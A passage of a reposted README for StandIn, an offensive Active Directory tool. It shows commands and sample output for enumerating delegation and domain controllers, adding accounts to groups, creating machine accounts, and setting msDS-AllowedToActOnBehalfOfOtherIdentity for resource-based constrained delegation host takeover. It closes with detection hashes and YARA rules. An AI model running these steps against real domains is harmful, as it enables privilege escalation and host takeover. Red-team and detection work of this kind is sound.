rel="nofollow" target="_blank" title="unconstrained">unconstrained</a>, <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation" rel="nofollow" target="_blank" title="constrained">constrained</a>, or <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution" rel="nofollow" target="_blank" title="resource-based constrained">resource-based constrained</a> delegation. These assets can be used to expand access or achieve objectives.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Return all accounts that have either unconstrained or constrained delegation permissions, or have inbound resource-based constrained delegation privileges.</p> <pre><code>C:\&gt; StandIn.exe --delegation<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br /><br />[?] Found 3 object(s) with unconstrained delegation..<br /><br />[*] SamAccountName : M-2019-03$<br /> DistinguishedName : CN=M-2019-03,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION<br /><br />[*] SamAccountName : M-W16-DC01$<br /> DistinguishedName : CN=M-W16-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local<br /> userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION<br /><br />[*] SamAccountName : M-W19-DC01$<br /> DistinguishedName : CN=M-W19-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local<br /> userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION<br /><br />[?] Found 2 object(s) with constrained delegation..<br /><br />[*] SamAccountName : M-2019-04$<br /> DistinguishedName : CN=M-2019-04,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> msDS-AllowedToDelegateTo : HOST/m-w16-dc01.main.redhook.local/main.redhook.local<br /> HOST/m-w16-dc01.main.redhook.local<br /> HOST/M-W16-DC01<br /> HOST/m-w16-dc01.main.redhook.local/MAIN<br /> HOST/M-W16-DC01/MAIN<br /> Protocol Transition : False<br /> userAccountControl : WORKSTATION_TRUST_ACCOUNT<br /><br />[*] SamAccountName : M-2019-05$<br /> DistinguishedName : CN=M-2019-05,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> msDS-AllowedToDelegateTo : cifs/m-2012r2-03.main.redhook.local<br /> cifs/M-2012R2-03<br /> Protocol Transition : True<br /> userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION<br /><br />[?] Found 1 object(s) with resource-based constrained delegation.. <br /><br />[*] SamAccountName : M-10-1909-01$<br /> DistinguishedName : CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> Inbound Delegation : Server Admins [GROUP]<br /> userAccountControl : WORKSTATION_TRUST_ACCOUNT<br /></code></pre> <br /><span style="font-size: large;"><b>DC's</b></span><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>This function provides situational awareness by finding all domain controllers and listing some of their properties including their role assignments.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Get all domain controllers.</p> <pre><code>C:\&gt; StandIn.exe --dc<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br /> |_ Domain : main.redhook.local<br /><br />[*] Host : m-w16-dc01.main.redhook.local<br /> Domain : main.redhook.local<br /> Forest : main.redhook.local<br /> SiteName : Default-First-Site-Name<br /> IP : 10.42.54.5<br /> OSVersion : Windows Server 2016 Datacenter<br /> Local System Time UTC : Tuesday, 03 November 2020 03:29:17<br /> Role : SchemaRole<br /> NamingRole<br /> PdcRole<br /> RidRole<br /> InfrastructureRole<br /><br />[*] Host : m-w19-dc01.main.redhook.local<br /> Domain : main.redhook.local<br /> Forest : main.redhook.local<br /> SiteName : Default-First-Site-Name<br /> IP : 10.42.54.13<br /> OSVersion : Windows Server 2019 Datacenter<br /> Local System Time UTC : Tuesday, 03 November 2020 03:29:17<br /></code></pre> <br /><span style="font-size: large;"><b>Groups Operations</b></span><br /> <p>These functions deal specificaly with domain groups.</p> <br /><b>List group membership</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>This function provides situational awareness, listing all members of a domain group including their type (user or nested group).</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Enumerate group membership and provide rudementary details for the member objects.</p> <pre><code>C:\&gt; StandIn.exe --group "Server Admins"<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Group : Server Admins<br /> GUID : 92af8954-58cc-4fa4-a9ba-69bfa5524b5c<br /><br />[+] Members<br /><br />[?] Path : LDAP://CN=Workstation Admins,OU=Groups,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : Workstation Admins<br /> Type : Group<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1108<br /><br />[?] Path : LDAP://CN=Server Admin 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : srvadmin001<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1111<br /><br />[?] Path : LDAP://CN=Server Admin 002,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : srvadmin002<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1184<br /><br />[?] Path : LDAP://CN =Server Admin 003,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : srvadmin003<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1185<br /><br />[?] Path : LDAP://CN=Server Admin 004,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : srvadmin004<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1186<br /><br />[?] Path : LDAP://CN=Server Admin 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : srvadmin005<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1187<br /><br />[?] Path : LDAP://CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : SimCritical<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1204<br /></code></pre> <br /><b>Add user to group</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>With appropriate access the operator can add an NTAccount to a domain group.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Add an NTAccount <a href="https://www.kitploit.com/search/label/Identifier" target="_blank" title="identifier">identifier</a> to a domain group. Normally this would be a user but it could also be a group.</p> <pre><code>C:\&gt; StandIn.exe --group lowprivbutmachineaccess<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Group : lowPrivButMachineAccess<br /> GUID : 37e3d957-af52-4cc6-8808-56330f8ec882<br /><br />[+] Members<br /><br />[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : s4uUser<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1197<br /><br />C:\&gt; StandIn.exe --group lowprivbutmachineaccess --ntaccount "MAIN\user001"<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Group : lowPrivButMachineAccess<br /> GUID : 37e3d957-af52-4cc6-8808-56330f8ec882<br /><br />[+] Adding user to group<br /> |_ Success<br /><br />C:\&gt; StandIn.exe --group lowprivbutmachineaccess<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Group : lowPrivButMachineAccess<br /> GUID : 37e3d957-af52-4cc6-8808-56330f8ec882<br /><br />[+] Members<br /><br />[?] Path : LDAP://CN=User 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : user001<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1106<br /><br />[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : s4uUser<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1197<br /></code></pre> <br /><span style="font-size: large;"><b>Machine Object Operations</b></span><br /> <p>These functions specifically are for machine operations and expect the machine name as an input.</p> <br /><b>Create machine object</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>The operator may wish to create a machine object in order to perform a <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution" rel="nofollow" target="_blank" title="resource based constrained delegation">resource based constrained delegation</a> attack. By default any domain user has the ability to create up to 10 machines on the local domain.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Create a new machine object with a random password, user <code>ms-DS-MachineAccountQuota</code> applies to this operation.</p> <pre><code>C:\&gt; StandIn.exe --computer M-1337-b33f --make<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br /> |_ Domain : main.redhook.local<br /> |_ DN : CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local<br /> |_ Password : MlCGkaacS5SRUOt<br /><br />[+] Machine account added to AD..<br /></code></pre> <p>The <code>ms-DS-MachineAccountQuota</code> property exists in the domain root object. If you need to verify the quota you can perform an object search as shown below.</p> <pre><code>C:\&gt; StandIn.exe --object ms-DS-MachineAccountQuota=*<br /></code></pre> <br /><b>Disable machine object</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>Standard users do not have the ability to delete a machine object, however a user that create a machine can thereafter disable the machine object.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Disable a machine that was previously created. This action should be performed in the context of the same user that created the machine. Note that non-elevated users can't delete machine objects only disable them.</p> <pre><code>C:\&gt; StandIn.exe --computer M-1337-b33f --disable<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=M-1337-b33f<br /> Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local<br /><br />[+] Machine account currently enabled<br /> |_ Account disabled..<br /></code></pre> <br /><b>Delete machine object</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>With elevated AD privileges the operator can delete a machine object, such as once create earlier in the attack chain.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Use an elevated context to delete a machine object.</p> <pre><code>C:\&gt; StandIn.exe --computer M-1337-b33f --delete<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=M-1337-b33f<br /> Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local<br /><br />[+] Machine account deleted from AD<br /></code></pre> <br /><b>Add msDS-AllowedToActOnBehalfOfOtherIdentity</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>With write access to a machine object this function allows the operator to add an <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> property to the machine which is required to perform a <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution" rel="nofollow" target="_blank" title="resource based constrained delegation">resource based constrained delegation</a> attack.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Add an <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> propert to the machine along with a SID to facilitate host takeover using resource based constrained delegation.</p> <pre><code>C:\&gt; StandIn.exe --computer m-10-1909-03 --sid S-1-5-21-1293271031-3053586410-2290657902-1205<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=M-10-1909-03<br /> Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br />[+] SID added to msDS-AllowedToActOnBehalfOfOtherIdentity<br /><br />C:\&gt; StandIn.exe --object samaccountname=m-10-1909-03$<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=M-10-1909-03<br /> Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[?] Iterating object properties<br /><br />[+] logoncount<br /> |_ 107<br />[+] codepage<br /> |_ 0<br />[+] objectcategory<br /> |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local<br />[+] iscriticalsystemobject<br /> |_ False<br />[+] operatingsystem<br /> |_ Windows 10 Enterprise<br />[+] usnchanged<br /> |_ 195771<br />[+] instancetype<br /> |_ 4<br /> [+] name<br /> |_ M-10-1909-03<br />[+] badpasswordtime<br /> |_ 7/9/2020 5:07:11 PM UTC<br />[+] pwdlastset<br /> |_ 10/29/2020 6:44:08 PM UTC<br />[+] serviceprincipalname<br /> |_ TERMSRV/M-10-1909-03<br /> |_ TERMSRV/m-10-1909-03.main.redhook.local<br /> |_ WSMAN/m-10-1909-03<br /> |_ WSMAN/m-10-1909-03.main.redhook.local<br /> |_ RestrictedKrbHost/M-10-1909-03<br /> |_ HOST/M-10-1909-03<br /> |_ RestrictedKrbHost/m-10-1909-03.main.redhook.local<br /> |_ HOST/m-10-1909-03.main.redhook.local<br />[+] objectclass<br /> |_ top<br /> |_ person<br /> |_ organizationalPerson<br /> |_ user<br /> |_ computer<br />[+] badpwdcount<br /> |_ 0<br />[+] samaccounttype<br /> |_ SAM_MACHINE_ACCOUNT<br />[+] lastlogontimestamp<br /> |_ 10/29/2020 12:29:26 PM UTC<br />[+] usncreated<br /> |_ 31127<br />[+] objectguid<br /> |_ c02cff97-4bfd-457c-a568-a748b0725c2f<br />[+] localpolicyflags<br /> |_ 0<br />[+] whencreated<br /> |_ 7/9/2020 5:05:08 PM<br />[+] adspa th<br /> |_ LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br />[+] useraccountcontrol<br /> |_ WORKSTATION_TRUST_ACCOUNT<br />[+] cn<br /> |_ M-10-1909-03<br />[+] countrycode<br /> |_ 0<br />[+] primarygroupid<br /> |_ 515<br />[+] whenchanged<br /> |_ 11/2/2020 7:55:14 PM<br />[+] operatingsystemversion<br /> |_ 10.0 (18363)<br />[+] dnshostname<br /> |_ m-10-1909-03.main.redhook.local<br />[+] dscorepropagationdata<br /> |_ 10/30/2020 6:56:30 PM<br /> |_ 10/30/2020 10:55:22 AM<br /> |_ 10/29/2020 4:58:51 PM<br /> |_ 10/29/2020 4:58:29 PM<br /> |_ 1/1/1601 12:00:01 AM<br />[+] lastlogon<br /> |_ 11/2/2020 9:07:20 AM UTC<br />[+] distinguishedname<br /> |_ CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br />[+] msds-supportedencryptiontypes<br /> |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96<br />[+] samaccountname<br /> |_ M-10-1909-03$<br />[+] objectsid<br /> |_ S-1-5-21-1293271031-30535 86410-2290657902-1127<br />[+] lastlogoff<br /> |_ 0<br />[+] msds-allowedtoactonbehalfofotheridentity<br /> |_ BinLen : 36<br /> |_ AceQualifier : AccessAllowed<br /> |_ IsCallback : False<br /> |_ OpaqueLength : 0<br /> |_ AccessMask : 983551<br /> |_ SID : S-1-5-21-1293271031-3053586410-2290657902-1205<br /> |_ AceType : AccessAllowed<br /> |_ AceFlags : None<br /> |_ IsInherited : False<br /> |_ InheritanceFlags : None<br /> |_ PropagationFlags : None<br /> |_ AuditFlags : None<br />[+] accountexpires<br /> |_ 0x7FFFFFFFFFFFFFFF<br /></code></pre> <br /><b>Remove msDS-AllowedToActOnBehalfOfOtherIdentity</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>With write access to a machine object this function allows the operator to remove a previously added <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> property from the machine.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Remove previously created <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> property from a machine.</p> <pre><code>C:\&gt; StandIn.exe --computer m-10-1909-03 --remove<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=M-10-1909-03<br /> Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br />[+] msDS-AllowedToActOnBehalfOfOtherIdentity property removed..<br /></code></pre> <br /><span style="font-size: large;"><b>Detection</b></span><br /> <p>This outlines a number of IOC's which can aid in the <a href="https://www.kitploit.com/search/label/Detection%20Engineering" target="_blank" title="detection engineering">detection engineering</a> process for StandIn.</p> <br /><b>Release Package Hashes</b><br /> <p>The following table maps the release package hashes for StandIn.</p> <pre><code>-=v0.8=-<br />StandIn_Net35.exe SHA256: A0B3C96CA89770ED04E37D43188427E0016B42B03C0102216C5F6A785B942BD3<br /> MD5: 8C942EE4553E40A7968FF0C8DC5DB9AB<br /><br />StandIn_Net45.exe SHA256: F80AEB33FC53F2C8D6313A6B20CD117739A71382C208702B43073D54C9ACA681<br /> MD5: 9E0FC3159A6BF8C3A8A0FAA76F6F74F9<br /><br />-=v0.7=-<br />StandIn_Net35.exe SHA256: A1ECD50DA8AAE5734A5F5C4A6A951B5F3C99CC4FB939AC60EF5EE19896CA23A0<br /> MD5: 50D29F7597BF83D80418DEEFD360F093<br /><br />StandIn_Net45.exe SHA256: DBAB7B9CC694FC37354E3A18F9418586172ED6660D8D205EAFFF945525A6A31A<br /> MD5: 4E5258A876ABCD2CA2EF80E0D5D93195<br /></code></pre> <br /><b>Yara</b><br /> <p>The following Yara rules can be used to detect StandIn on disk, in it's default form.</p> <div><pre><code>rule StandIn<br />{<br /> meta:<br /> author = "Ruben Boonen (@FuzzySec)"<br /> description = "Detect StandIn string constants."<br /><br /> strings:<br /> $s1 = "StandIn" ascii wide nocase<br /> $s2 = "(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" ascii wide nocase<br /> $s3 = "msDS-AllowedToActOnBehalfOfOtherIdentity" ascii wide nocase<br /> $s4 = "&gt;--~~--&gt; Args? &lt;--~~--&lt;" ascii wide nocase<br /><br /> condition:<br /> all of ($s*)<br />}<br /><br />rule StandIn_PDB<br />{<br /> meta:<br /> author = "Ruben Boonen (@FuzzySec)"<br /> description = "Detect StandIn default PDB."<br /><br /> strings:<br /> $s1 = "\\Release\\StandIn.pdb" ascii wide nocase<br /> <br /> condition:<br /> all of ($s*)<br />}</code></pre></div> <br /><b>SilktETW Microsoft-Windows-DotNETRuntime Yara Rule</b><br /> <p>The Yara rule below can be used to detect StandIn when execution happens from memory. To use this rule, the EDR solution will require access to the <code>Microsoft-Windows-DotNETRuntime</code> ETW data provider. For testing purposes, this rule can be directly evaluated using <a href="https://github.com/fireeye/SilkETW" rel="nofollow" target="_blank" title="SilkETW">SilkETW</a>. It should be noted that this is a generic example rule, production alerting would required a more granular approach.</p> <div><pre><code>rule Silk_StandIn_Generic<br />{<br /> meta:<br /> author = "Ruben Boonen (@FuzzySec)"<br /> description = "Generic Microsoft-Windows-DotNETRuntime detection for StandIn."<br /><br /> strings:<br /> $s1 = "\\r\\nFullyQualifiedAssemblyName=0;\\r\\nClrInstanceID=StandIn" ascii wide nocase<br /> $s2 = "MethodFlags=Jitted;\\r\\nMethodNamespace=StandIn." ascii wide nocase<br /><br /> condition:<br /> any of them<br />}</code></pre></div> <p><br /></p><div style="text-align: center;"><b><span style="font-size: x-large;"><a class="kiploit-download" href="https://github.com/FuzzySecurity/StandIn" rel="nofollow" target="_blank" title="Download StandIn">Download StandIn</a></span></b></div>Zion3R[email protected]

文章来源: http://www.blogger.com/feeds/8317222231133660547/posts/default/6265405922368142658
如有侵权请联系:admin#unsafe.sh